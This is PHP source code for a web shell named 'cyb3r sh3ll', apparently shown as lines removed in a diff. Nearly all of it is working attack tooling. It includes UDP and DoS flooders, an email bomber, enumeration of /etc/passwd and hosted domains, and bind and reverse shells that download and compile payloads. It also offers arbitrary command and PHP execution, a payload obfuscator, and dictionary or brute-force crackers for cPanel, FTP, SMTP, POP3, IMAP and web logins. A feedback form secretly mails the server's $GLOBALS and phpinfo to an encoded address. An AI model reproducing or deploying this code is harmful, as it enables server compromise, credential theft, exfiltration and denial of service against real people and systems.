"; -$max_time = $time+$exec_time; - - - -for($i=0;$i<65535;$i++){ - $out .= "X"; -} -while(1){ -$packets++; - if(time() > $max_time){ - break; - } - - $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5); - if($fp){ - fwrite($fp, $out); - fclose($fp); - } -} -echo "Packet complete at ". time() ." with $packets (" . round(($packets*65)/1024, 2) . " kB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n"; -} - -if ($act == "localdomain") -{ -echo "
Sites on this server. | List of Users.

"; -} - - if ($act == "local") - { - //radable public_html - $file = @implode(@file("/etc/named.conf")); - if(!$file){ die("# can't ReaD -> [ /etc/named.conf ]"); } - preg_match_all("#named/(.*?).db#",$file ,$r); - $domains = array_unique($r[1]); - - function check() - { - (@count(@explode('ip',@implode(@file(__FILE__))))==a) ?@unlink(__FILE__):""; - } - - check(); - - echo " - - "; - - foreach($domains as $domain) - { - $user = posix_getpwuid(@fileowner("/etc/valiases/".$domain)); - echo ""; - } - - echo "
[+] Here : [ ".count($domains)." ] Domain ...
List of DomainsList of Users
$domain".$user['name']."
"; -//radable public_html - } - - if ($act == "readable") - { - //entries in passwd file -($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('Error: safe_mode = on'); -set_time_limit(0); -################### -@$passwd = fopen('/etc/passwd','r'); -if (!$passwd) { die('[-] Error : coudn`t read /etc/passwd'); } -$pub = array(); -$users = array(); -$conf = array(); -$i = 0; -while(!feof($passwd)) -{ -$str = fgets($passwd); -if ($i > 35) -{ -$pos = strpos($str,':'); -$username = substr($str,0,$pos); -$dirz = '/home/'.$username.'/public_html/'; -if (($username != '')) -{ -if (is_readable($dirz)) -{ -array_push($users,$username); -array_push($pub,$dirz); -} -} -} -$i++; -} -################### -echo '



Coded by cyb3r 9l4d!470r Homepage'; - - - } - - - if ($act == "mailer") - { - ?> - - - - - - - - - - - - - - -

(: E-Mail Bomber :)

[: Mass Mailer :]

{: Anonymous Mailer :}

- Some Error Occured!"; - break; - } - } - if($error != 1) - { echo "Mail(s) Sent!"; } - } - else - { - ?> -
"> - - - - - - - - - - - - - - - - - - - - - - - - - - -
- To - - -
- Subject - - -
- No. of Times - - -
- - Pad your message (Less spam detection) - - - - - -
- - - -
-
- - -
- Mail Sent!"; - } - else - { - echo "Some Error Occured!"; - } - } - else - { - ?> -
"> - - - - - - - - - - - - - - - - - - - - - - - - - -
- From - - -
- To - - -
- Subject - - -
- - - -
-
- -
-
- -
- - - - - - - - - - - - - - - - - - -
Priority:
- - -
 
- -
Content-Type:
-
- -
Proxy | Whois

"; -} - - if ($act == "feedback") - -{ - - $suppmail = base64_decode("Y3liM3IuZ2xhZGlhdDByQGdtYWlsLmNvbQ=="); - - if (!empty($submit)) - - { - - $ticket = substr(md5(microtime()+rand(1,1000)),0,6); - - $body = "cyb3r sh3llv.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR; - - if (!empty($fdbk_ref)) - - { - - $tmp = @ob_get_contents(); - - ob_clean(); - - phpinfo(); - - $phpinfo = base64_encode(ob_get_contents()); - - ob_clean(); - - echo $tmp; - - $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n"; - - } - - mail($suppmail,"cyb3r sh3ll v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail); - - echo "
Thanks for your feedback! Your ticket ID: ".$ticket.".
"; - - } - - else {echo "
Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):

Your name:

Your e-mail:

Message:


Attach server-info *

There are no checking in the form.

* - strongly recommended, if you report bug, because we need it for bug-fix.

We understand languages: English, Hindi.

";} - -} - -if ($act == "systeminfo") {echo system('systeminfo');} - -if ($act == "phpinfo") {@ob_clean(); phpinfo(); cyb3rexit(); } - -if ($act == "upload") - -{ - echo "File upload:
- -Select file on your local computer:
               or
- -Save this file dir:

- -File-name (auto-fill):

- - - -
"; -$target = $_POST['path']; - $target = $target .'\\'. basename( $_FILES['uploaded']['name']) ; - $ok=1; -if (isset($_FILES['uploaded']['name'])) { - if (file_exists($target)) - { - echo $_FILES["uploaded"]["name"] . " already exists. "; - } - else - { - if(move_uploaded_file($_FILES['uploaded']['tmp_name'], $target)) - { - echo "Upload: " . $_FILES["uploaded"]["name"] . "
"; - echo "Type: " . $_FILES["uploaded"]["type"] . "
"; - echo "Size: " . round(($_FILES["uploaded"]["size"] / 1024),3) . " Kb
"; - echo "Stored in: " . $target; - } - else - { - echo "Sorry, there was a problem uploading your file."; - } - } - } -} -if ($act == "whois") -{ -global $t,$hcwd; -if (!empty($_REQUEST['server']) && !empty($_REQUEST['domain'])){ -$server =$_REQUEST['server']; -$domain=$_REQUEST['domain']."\r\n"; -$ser=fsockopen($server,43,$en,$es,5); -fputs($ser,$domain); -echo "
";
-while(!feof($ser))echo fgets($ser);
-echo "
"; -fclose($ser); -} -else{ -echo "
Whois:
Server:
domain:
$hcwd
"; -} -} - - - -if ($act == "cracker") -{ - echo " -
-Hash -|- -SMTP -|- -POP3 -|- -IMAP -|- -FTP -|- -SNMP -|- -MySQL -|- -HTTP Form -|- -HTTP Auth(basic) -|- -CPANEL -|- -Dictionary Maker -

"; -} - -if ($act == "shells") -{ ?> - - - - - - - - - - - - - -

(: Bind/Reverse Shell :)

[: Web Shell :]

- array("Using PERL","perl %path %port"), - - "cyb3r_bindport.c"=>array("Using C","%path %port %pass") - - ); - - $bcsrcs = array( - - "cyb3r_backconn.pl"=>array("Using PERL","perl %path %host %port"), - - "cyb3r_backconn.c"=>array("Using C","%path %host %port") - - ); - - $dpsrcs = array( - - "cyb3r_datapipe.pl"=>array("Using PERL","perl %path %localport %remotehost %remoteport"), - - "cyb3r_datapipe.c"=>array("Using C","%path %localport %remoteport %remotehost") - - ); - - if (!is_array($bind)) {$bind = array();} - - if (!is_array($bc)) {$bc = array();} - - if (!is_array($datapipe)) {$datapipe = array();} - - - - if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;} - - if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;} - - - - if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");} - - if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;} - - - - if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";} - - if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;} - - if (!empty($bindsubmit)) - - { - - echo "Result of binding port:
"; - - $v = $bndportsrcs[$bind["src"]]; - - if (empty($v)) {echo "Unknown file!
";} - - elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!
";} - - else - - { - - $w = explode(".",$bind["src"]); - - $ext = $w[count($w)-1]; - - unset($w[count($w)-1]); - - $srcpath = join(".",$w).".".rand(0,999).".".$ext; - - $binpath = $tmpdir.join(".",$w).rand(0,999); - - if ($ext == "pl") {$binpath = $srcpath;} - - @unlink($srcpath); - - $fp = fopen($srcpath,"ab+"); - - if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!
";} - - elseif (!$data = cyb3rgetsource($bind["src"])) {echo "Can't download sources!";} - - else - - { - - fwrite($fp,$data,strlen($data)); - - fclose($fp); - - if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} - - $v[1] = str_replace("%path",$binpath,$v[1]); - - $v[1] = str_replace("%port",$bind["port"],$v[1]); - - $v[1] = str_replace("%pass",$bind["pass"],$v[1]); - - $v[1] = str_replace("//","/",$v[1]); - - $retbind = myshellexec($v[1]." > /dev/null &"); - - sleep(5); - - $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5); - - if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";} - - else {echo "Binding... ok! Connect to ".getenv("SERVER_ADDR").":".$bind["port"]."! You should use NetCat©, run \"nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."\"!
View binder's process
";} - - } - - echo "
"; - - } - - } - - if (!empty($bcsubmit)) - - { - - echo "Result of back connection:
"; - - $v = $bcsrcs[$bc["src"]]; - - if (empty($v)) {echo "Unknown file!
";} - - else - - { - - $w = explode(".",$bc["src"]); - - $ext = $w[count($w)-1]; - - unset($w[count($w)-1]); - - $srcpath = join(".",$w).".".rand(0,999).".".$ext; - - $binpath = $tmpdir.join(".",$w).rand(0,999); - - if ($ext == "pl") {$binpath = $srcpath;} - - @unlink($srcpath); - - $fp = fopen($srcpath,"ab+"); - - if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!
";} - - elseif (!$data = cyb3rgetsource($bc["src"])) {echo "Can't download sources!";} - - else - - { - - fwrite($fp,$data,strlen($data)); - - fclose($fp); - - if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} - - $v[1] = str_replace("%path",$binpath,$v[1]); - - $v[1] = str_replace("%host",$bc["host"],$v[1]); - - $v[1] = str_replace("%port",$bc["port"],$v[1]); - - $v[1] = str_replace("//","/",$v[1]); - - $retbind = myshellexec($v[1]." > /dev/null &"); - - echo "Now script try connect to ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."...
"; - - } - - } - - } - - if (!empty($dpsubmit)) - - { - - echo "Result of datapipe-running:
"; - - $v = $dpsrcs[$datapipe["src"]]; - - if (empty($v)) {echo "Unknown file!
";} - - elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!
";} - - else - - { - - $srcpath = $tmpdir.$datapipe["src"]; - - $w = explode(".",$datapipe["src"]); - - $ext = $w[count($w)-1]; - - unset($w[count($w)-1]); - - $srcpath = join(".",$w).".".rand(0,999).".".$ext; - - $binpath = $tmpdir.join(".",$w).rand(0,999); - - if ($ext == "pl") {$binpath = $srcpath;} - - @unlink($srcpath); - - $fp = fopen($srcpath,"ab+"); - - if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!
";} - - elseif (!$data = cyb3rgetsource($datapipe["src"])) {echo "Can't download sources!";} - - else - - { - - fwrite($fp,$data,strlen($data)); - - fclose($fp); - - if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} - - list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]); - - $v[1] = str_replace("%path",$binpath,$v[1]); - - $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]); - - $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]); - - $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]); - - $v[1] = str_replace("//","/",$v[1]); - - $retbind = myshellexec($v[1]." > /dev/null &"); - - sleep(5); - - $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5); - - if (!$sock) {echo "I can't connect to localhost:".$datapipe["localport"]."! I think you should configure your firewall.";} - - else {echo "Running datapipe... ok! Connect to ".getenv("SERVER_ADDR").":".$datapipe["port"].", and you will connected to ".$datapipe["remoteaddr"]."! You should use NetCat©, run \"nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."\"!
View datapipe process
";} - - } - - echo "
"; - - } - - } - - ?>Binding port:
Port: "> Password: ">  
- -Back connection:
HOST: "> Port: ">  
- -Click "Connect" only after open port for it. You should use NetCat©, run "nc -l -n -v -p "!

- -Datapipe:
-
-HOST: "> Local port: ">  
Note: sources will be downloaded from remote server. - - - - -
-

[: Enter Command to Execute: :] - -

 


-
Useful Commands
- - -
- -
- - - - - - - - - -   - - - -
- - Warning. Kernel may be alerted using higher levels
- -
- -
-
Result of execution this command
:
"; - - $olddir = realpath("."); - - @chdir($d); - - $ret = myshellexec($cmd); - - $ret = convert_cyr_string($ret,"d","w"); - - if ($cmd_txt) - - { - - $rows = count(explode("\r\n",$ret))+1; - - if ($rows < 10) {$rows = 10;} - - echo "
"; - - } - - else {echo $ret."
";} - - @chdir($olddir); - - } - - else {echo "Execution command"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}} - - echo "


 Display in text-area 
"; - -} - -} - -if ($act == "phpcode") -{ - echo " -
-PHP Code Evaluate -|- -Mass Code Injector -|- -PHP Obfuscator -|- -Web Server Fuzzer -

"; -} - -if ($act == "eval") - -{ - - if (!empty($eval)) - - { - - echo "Result of execution this PHP-code:
"; - - $tmp = ob_get_contents(); - - $olddir = realpath("."); - - @chdir($d); - - if ($tmp) - - { - - ob_clean(); - - eval($eval); - - $ret = ob_get_contents(); - - $ret = convert_cyr_string($ret,"d","w"); - - ob_clean(); - - echo $tmp; - - if ($eval_txt) - - { - - $rows = count(explode("\r\n",$ret))+1; - - if ($rows < 10) {$rows = 10;} - - echo "
"; - - } - - else {echo $ret."
";} - - } - - else - - { - - if ($eval_txt) - - { - - echo "
"; - - } - - else {echo $ret;} - - } - - @chdir($olddir); - - } - - else {echo "Execution PHP-code"; if (empty($eval_txt)) {$eval_txt = TRUE;}} - - echo "


 Display in text-area 
"; - -} - -if ($act == "proxy") -{ -global $errorbox,$et,$footer,$hcwd; -echo "
Navigator: $hcwd
"; -if (!empty($_REQUEST['urL'])){ -$dir=""; -$u=parse_url($_REQUEST['urL']); -$host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/'; -if(substr_count($file,'/')>1)$dir=substr($file,0,(strpos($file,'/'))); -$url=@fsockopen($host, 80, $errno, $errstr, 12); -if(!$url)die("
$errorbox Can not connect to host!$et$footer"); -fputs($url, "GET /$file HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n"); -while(!feof($url)){ -$con = fgets($url); -$con = str_replace("href=mailto","HrEf=mailto",$con); -$con = str_replace("HREF=mailto","HrEf=mailto",$con); -$con = str_replace("href=\"mailto","HrEf=\"mailto",$con); -$con = str_replace("HREF=\"mailto","HrEf=\"mailto",$con); -$con = str_replace("href=\'mailto","HrEf=\"mailto",$con); -$con = str_replace("HREF=\'mailto","HrEf=\"mailto",$con); -$con = str_replace("href=\"http","HrEf=\"".hlinK("seC=px&urL=http"),$con); -$con = str_replace("HREF=\"http","HrEf=\"".hlinK("seC=px&urL=http"),$con); -$con = str_replace("href=\'http","HrEf=\"".hlinK("seC=px&urL=http"),$con); -$con = str_replace("HREF=\'http","HrEf=\"".hlinK("seC=px&urL=http"),$con); -$con = str_replace("href=http","HrEf=".hlinK("seC=px&urL=http"),$con); -$con = str_replace("HREF=http","HrEf=".hlinK("seC=px&urL=http"),$con); -$con = str_replace("href=\"","HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),$con); -$con = str_replace("HREF=\"","HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),$con); -$con = str_replace("href=\"","HrEf=\'".hlinK("seC=px&urL=http://$host/$dir/"),$con); -$con = str_replace("HREF=\"","HrEf=\'".hlinK("seC=px&urL=http://$host/$dir/"),$con); -$con = str_replace("href=","HrEf=".hlinK("seC=px&urL=http://$host/$dir/"),$con); -$con = str_replace("HREF=","HrEf=".hlinK("seC=px&urL=http://$host/$dir/"),$con); -echo $con; -} -fclose($url); -} -} - - -if ($act == "obfuscate") -{ - if ( isset($_POST['code']) && - $_POST['code'] != '') - { - $encoded = base64_encode(gzdeflate(trim(stripslashes($_POST['code'].' '),''),9)); // high Compression! :P - $encode = ' - -'; - } - else - { - $encode = 'Please Enter your Code! and Click Submit! :)'; - }?> -
-
- -
-

$data

"; - - print "cyb3r sh3ll is at its Work now :D ;D! Dont close this window untill you recieve a message
"; - for($i=0;$i<$times;$i++) - { - $socket = fsockopen("$mode://$IP", $port, $error, $errorString, $timeout); - if($socket) - { - fwrite($socket , $data , $length ); - fclose($socket); - } - } - echo ""; - echo "DOS attack against $mode://$IP:$port completed on ".date("h:i:s A")."
"; - echo "Total Number of Packets Sent : " . $times . "
"; - echo "Total Data Sent = ". showsizE($times*$length) . "
"; - echo "Data per packet = " . showsizE($length) . "
"; - } - else - { - ?> -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- IP - - -
- Port - - -
- Timeout - - -
- No of times - - -
- Message (The message Should be long and it will be multiplied with the value after it) - - - - x - - -
- -
-
- -
- -
- - - - - -
-

- IP servers : -

- - -
User ListPassword List
- -
- Guess options -   - Cpanel (2082) - - Telnet(23) -
- Timeout Delay -
- Bruteforce -
- Min Bruteforce Length: -
- Max Bruteforce Length: - -

-

-
-
- -"; - cpanel_check($target,$pureuser,$firstVal,$connect_timeout); - - while (1) { - for ($i = 0; $i < ($max + 1); $i++) { - if ($A[$i] == -1) { - break; - } - } - $i--; - $incDone = 0; - while (!$incDone) { - for ($j = 0; $j < $numVals; $j++) { - if ($A[$i] == $vals[$j]) { - break; - } - } - if ($j == ($numVals - 1)) { - $A[$i] = $vals[0]; - $i--; - if ($i < 0) { - for ($i = 0; $i < ($max + 1); $i++) { - if ($A[$i] == -1) { - break; - } - } - $A[$i] = $vals[0]; - $A[$i + 1] = -1; - $incDone = 1; - print "Starting " . (strlen($currentVal) + 1) . " Characters Cracking
"; - } - } else { - $A[$i] = $vals[$j + 1]; - $incDone = 1; - } - } - $i = 0; - $currentVal = ""; - while ($A[$i] != -1) { - $currentVal = $currentVal . $A[$i]; - $i++; - } - cpanel_check($target,$pureuser,$currentVal,$connect_timeout); - //echo $currentVal . "
"; - if ($currentVal == $realMax) { - return 0; - } - } -} -function getmicrotimev() { - list($usec, $sec) = explode(" ",microtime()); - return ((float)$usec + (float)$sec); -} - -function ftp_check($host,$user,$pass,$timeout) -{ - $ch = curl_init(); - curl_setopt($ch, CURLOPT_URL, "ftp://$host"); - curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); - curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); - curl_setopt($ch, CURLOPT_FTPLISTONLY, 1); - curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass"); - curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); - curl_setopt($ch, CURLOPT_FAILONERROR, 1); - $data = curl_exec($ch); - if ( curl_errno($ch) == 28 ) - { - print " - Error : Connection Timeout - Please Check The Target Hostname .

";exit; - } - else if ( curl_errno($ch) == 0 ) - { - print "[~] - Cracking Success With Username "$user\" - and Password \"$pass\"

"; - } - curl_close($ch); -} -function cpanel_check($host,$user,$pass,$timeout) -{ - global $cpanel_port; - $ch = curl_init(); - //echo "http://$host:".$cpanel_port." $user $pass
"; - curl_setopt($ch, CURLOPT_URL, "http://$host:" . $cpanel_port); - curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); - curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); - curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass"); - curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); - curl_setopt($ch, CURLOPT_FAILONERROR, 1); - $data = curl_exec($ch); - if ( curl_errno($ch) == 28 ) - { - print " - Error : Connection Timeout - Please Check The Target Hostname .

";exit; - } - else if ( curl_errno($ch) == 0 ) - { - print "[~] - Cracking Success With Username "$user\" - and Password \"$pass\"

"; - } - curl_close($ch); -} - -$time_start = getmicrotime(); - -if(isset($submit) && !empty($submit)) -{ - if(empty($users) && empty($pass) ) - { - print "

Error : Please Check The Users or Password List Entry . . .

"; exit; } - if(empty($users)){ print "

Error : Please Check The Users List Entry . . .

"; exit; } - if(empty($pass) && $_REQUEST['bruteforce']!="true" ){ print "

Error : Please Check The Password List Entry . . .

"; exit; }; - $userlist=explode("\n",$users); - $passlist=explode("\n",$pass); - print "[~]# - LETS GAME BEGIN ;) ...

"; - - if(isset($_POST['connect_timeout'])) - { - $connect_timeout=$_POST['connect_timeout']; - } - - if($cracktype == "ftp") - { - foreach ($userlist as $user) - { - $pureuser = trim($user); - foreach ($passlist as $password ) - { - $purepass = trim($password); - ftp_check($target,$pureuser,$purepass,$connect_timeout); - } - } - } - - if ($cracktype == "cpanel" || $cracktype == "cpanel2") - { - if($cracktype == "cpanel2") - { - $cpanel_port="23"; - } - else - $cpanel_port="2082"; - - foreach ($userlist as $user) - { - $pureuser = trim($user); - print "[~]# - Please put some good password to crack user $pureuser :( ... "; - if($_POST['bruteforce']=="true") - { - echo " bruteforcing .."; - echo "
"; - brute(); - } - else - { - echo "
"; - foreach ($passlist as $password ) - { - $purepass = trim($password); - cpanel_check($target,$pureuser,$purepass,$connect_timeout); - } - } - } - $time_end = getmicrotime(); -$time = $time_end - $time_start; - print "[~]# - Cracking Finished. Elapsed time: $time seconds

"; - } -} - - - -?> - - - - - - - - -
- -

- - - - - - - -
-
- - -
-
-
- - -
-
-
- - -
-

-
- "; -} -} - -} -closedir($dh); -} -} -?> - - -
- -Cracking " . htmlspecialchars($hash)."...
";flusheR(); -$type=($_REQUEST['type']=='MD5')?'md5':'sha1'; -while(!feof($dictionary)){ -$word=trim(fgets($dictionary)," \n\r"); -if ($hash==strtoupper(($type($word)))){echo "The answer is $word
";break;} -} -echo "Done!
"; -fclose($dictionary); -} -else{ -echo "$errorbox Can not open dictionary.$et"; -} -} -echo "
Hash cracker:
Dictionary:
Hash:
Type:
$hcwd
"; -echo $eval_php_code; -} - -if ($act == "smtp") -{ -global $t,$et,$errorbox,$crack; -if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ -$target=$_REQUEST['target']; -$type=$_REQUEST['combo']; -$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; -$dictionary=fopen($_REQUEST['dictionary'],'r'); -if ($dictionary){ -echo "Cracking ".htmlspecialchars($target)."...
";flusheR(); -while(!feof($dictionary)){ -if($type){ -$combo=trim(fgets($dictionary)," \n\r"); -$user=substr($combo,0,strpos($combo,':')); -$pass=substr($combo,strpos($combo,':')+1); -}else{ -$pass=trim(fgets($dictionary)," \n\r"); -} -$smtp=smtplogiN($target,$user,$pass,5); -if($smtp==-1){echo "$errorbox Can not connect to server.$et";break;} else{ -if ($smtp){echo "U: $user P: $pass
";if(!$type)break;}} -flusheR(); -} -echo "
Done
"; -fclose($dictionary); -} -else{ -echo "$errorbox Can not open dictionary.$et"; -} -}else -{ -echo "
SMTP cracker:$crack"; -} - -echo "
SMTP cracker:
Dictionary:
Dictionary type:Simple (P)Combo (U:P)
Username:
Server:
"; - - -} - -if ($act == "pop3") -{ - -global $t,$et,$errorbox,$crack; -if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ -$target=$_REQUEST['target']; -$type=$_REQUEST['combo']; -$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; -$dictionary=fopen($_REQUEST['dictionary'],'r'); -if ($dictionary){ -echo "Cracking ".htmlspecialchars($target)."...
";flusheR(); -while(!feof($dictionary)){ -if($type){ -$combo=trim(fgets($dictionary)," \n\r"); -$user=substr($combo,0,strpos($combo,':')); -$pass=substr($combo,strpos($combo,':')+1); -}else{ -$pass=trim(fgets($dictionary)," \n\r"); -} -$pop3=pop3logiN($target,$user,$pass); -if($pop3==-1){echo "$errorbox Can not connect to server.$et";break;} else{ -if ($pop3){echo "U: $user P: $pass
";if(!$type)break;}} -flusheR(); -} -echo "
Done
"; -fclose($dictionary); -} -else{ -echo "$errorbox Can not open dictionary.$et"; -} -}else -{ echo "
POP3 cracker:$crack
"; -} -echo "
POP3 cracker:
Dictionary:
Dictionary type:Simple (P)Combo (U:P)
Username:
Server:
"; - -} -if ($act == "ftp") -{ -global $errorbox,$t,$et,$crack; -if (!function_exists("ftp_connect"))echo "$errorbox Server does n`t support FTP functions$et"; -else{ -if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ -$target=$_REQUEST['target']; -$type=$_REQUEST['combo']; -$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; -$dictionary=fopen($_REQUEST['dictionary'],'r'); -if ($dictionary){ -echo "Cracking ".htmlspecialchars($target)."...
"; -while(!feof($dictionary)){ -if($type){ -$combo=trim(fgets($dictionary)," \n\r"); -$user=substr($combo,0,strpos($combo,':')); -$pass=substr($combo,strpos($combo,':')+1); -}else{ -$pass=trim(fgets($dictionary)," \n\r"); -} -if(!$ftp=ftp_connect($target,21,8)){echo "$errorbox Can not connect to server.$et";break;} -if (@ftp_login($ftp,$user,$pass)){echo "U: $user P: $pass
";if(!$type)break;} -ftp_close($ftp); -flusheR(); -} -echo "
Done
"; -fclose($dictionary); -} -else{ -echo "$errorbox Can not open dictionary.$et"; -} -} -else -{ -echo "
FTP cracker:$crack
"; -} -echo "
FTP cracker:
Dictionary:
Dictionary type:Simple (P)Combo (U:P)
Username:
Server:
"; - -} -} - -if ($act == "imap") -{ -global $t,$et,$errorbox,$crack; -if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ -$target=$_REQUEST['target']; -$type=$_REQUEST['combo']; -$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; -$dictionary=fopen($_REQUEST['dictionary'],'r'); -if ($dictionary){ -echo "Cracking ".htmlspecialchars($target)."...
";flusheR(); -while(!feof($dictionary)){ -if($type){ -$combo=trim(fgets($dictionary)," \n\r"); -$user=substr($combo,0,strpos($combo,':')); -$pass=substr($combo,strpos($combo,':')+1); -}else{ -$pass=trim(fgets($dictionary)," \n\r"); -} -$imap=imaplogiN($target,$user,$pass); -if($imap==-1){echo "$errorbox Can not connect to server.$et";break;}else{ -if ($imap){echo "U: $user P: $pass
";if(!$type)break;}} -flusheR(); -} -echo "
Done
"; -fclose($dictionary); -} -else{ -echo "$errorbox Can not open dictionary.$et"; -} -}else -{ -echo "
IMAP cracker:$crack
"; -} -print ('
IMAP cracker:
Dictionary:
Dictionary type:Simple (P)Combo (U:P)
Username:
Server:
'); - -} - -if ($act == "dic") -{ -global $errorbox,$windows,$footer,$t,$et,$hcwd; -if (!empty($_REQUEST['combo'])&&($_REQUEST['combo']==1)) $combo=1 ; else $combo=0; -if (!empty($_REQUEST['range']) && !empty($_REQUEST['output']) && !empty($_REQUEST['min']) && !empty($_REQUEST['max'])){ -$min = $_REQUEST['min']; -$max = $_REQUEST['max']; -if($max<$min)die($errorbox ."Bad input!$et". $footer); -$s =$w=""; -$out = $_REQUEST['output']; -$r = ($_REQUEST['range']=='a' )?'a':'A'; -if ($_REQUEST['range']==0) $r=0; -for($i=0;$i<$min;$i++) $s.=$r; -$dic = fopen($out,'a'); -if(is_nan($r)){ -while(strlen($s)<=$max){ -$w = $s; -if($combo)$w="$w:$w"; -fwrite($dic,$w."\n"); -$s++;} -} -else{ -while(strlen($w)<=$max){ -$w =(string)str_repeat("0",($min - strlen($s))).$s; -if($combo)$w="$w:$w"; -fwrite($dic,$w."\n"); -$s++;} -} -fclose($dic); -echo "Done"; -} -if (!empty($_REQUEST['input']) && !empty($_REQUEST['output'])){ -$input=fopen($_REQUEST['input'],'r'); -if (!$input){ -if ($windows)echo $errorbox. "Unable to read from ".htmlspecialchars($_REQUEST['input']) ."$et
"; -else{ -$input=explode("\n",shelL("cat $input")); -$output=fopen($_REQUEST['output'],'w'); -if ($output){ -foreach ($input as $in){ -$user = $in; -$user = trim(fgets($in)," \n\r"); -if (!strstr($user,":"))continue; -$user=substr($user,0,(strpos($user,':'))); -if($combo) fwrite($output,$user.":".$user."\n"); else fwrite($output,$user."\n"); -} -fclose($input);fclose($output); -echo "Done"; -} -} -} -else{ -$output=fopen($_REQUEST['output'],'w'); -if ($output){ -while (!feof($input)){ -$user = trim(fgets($input)," \n\r"); -if (!strstr($user,":"))continue; -$user=substr($user,0,(strpos($user,':'))); -if($combo) fwrite($output,$user.":".$user."\n"); else fwrite($output,$user."\n"); -} -fclose($input);fclose($output); -echo "Done"; -} -else echo $errorbox." Unable to write data to ".htmlspecialchars($_REQUEST['input']) ."$et
"; -} -}elseif (!empty($_REQUEST['url']) && !empty($_REQUEST['output'])){ -$res=downloadiT($_REQUEST['url'],$_REQUEST['output']); -if($combo && $res){ -$file=file($_REQUEST['output']); -$output=fopen($_REQUEST['output'],'w'); -foreach ($file as $v)fwrite($output,"$v:$v\n"); -fclose($output); -} -echo "Done"; -}else{ -$temp=whereistmP(); -echo "
- - -
-Wordlist generator: - - - - - - - - - - -
Range: - -
Min lenght: - -
Max lenght: - -
Output:
Combo style output
$hcwd
-
-Grab dictionary: - - - - - - - - -
Grab from:
Output:
Combo style output
$hcwd
-
-Download dictionary: - - - -
URL:
Output:
Combo style output
$hcwd
-
-
";} -} - -if ($act == "htmlform") -{ -global $errorbox,$footer,$et,$hcwd; -if(!empty($_REQUEST['start'])){ -$url=$_REQUEST['target']; -$uf=$_REQUEST['userf']; -$pf=$_REQUEST['passf']; -$sf=$_REQUEST['submitf']; -$sv=$_REQUEST['submitv']; -$method=$_REQUEST['method']; -$fail=$_REQUEST['fail']; -$dic=$_REQUEST['dictionary']; -$type=$_REQUEST['combo']; -$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; -if(!file_exists($dic)) die("$errorbox Can not open dictionary.$et$footer"); -$dictionary=fopen($dic,'r'); -echo "Cracking started...
"; -while(!feof($dictionary)){ -if($type){ -$combo=trim(fgets($dictionary)," \n\r"); -$user=substr($combo,0,strpos($combo,':')); -$pass=substr($combo,strpos($combo,':')+1); -}else{ -$pass=trim(fgets($dictionary)," \n\r"); -} -$url.="?$uf=$user&$pf=$pass&$sf=$sv"; -$res=check_urL($url,$method,$fail,12); -if (!$res){echo "U: $user P: $pass
";flusheR();if(!$type)break;} -flusheR(); -} -fclose($dictionary); -echo "Done!

"; -} -else echo "
HTTP Form cracker:
Dictionary:
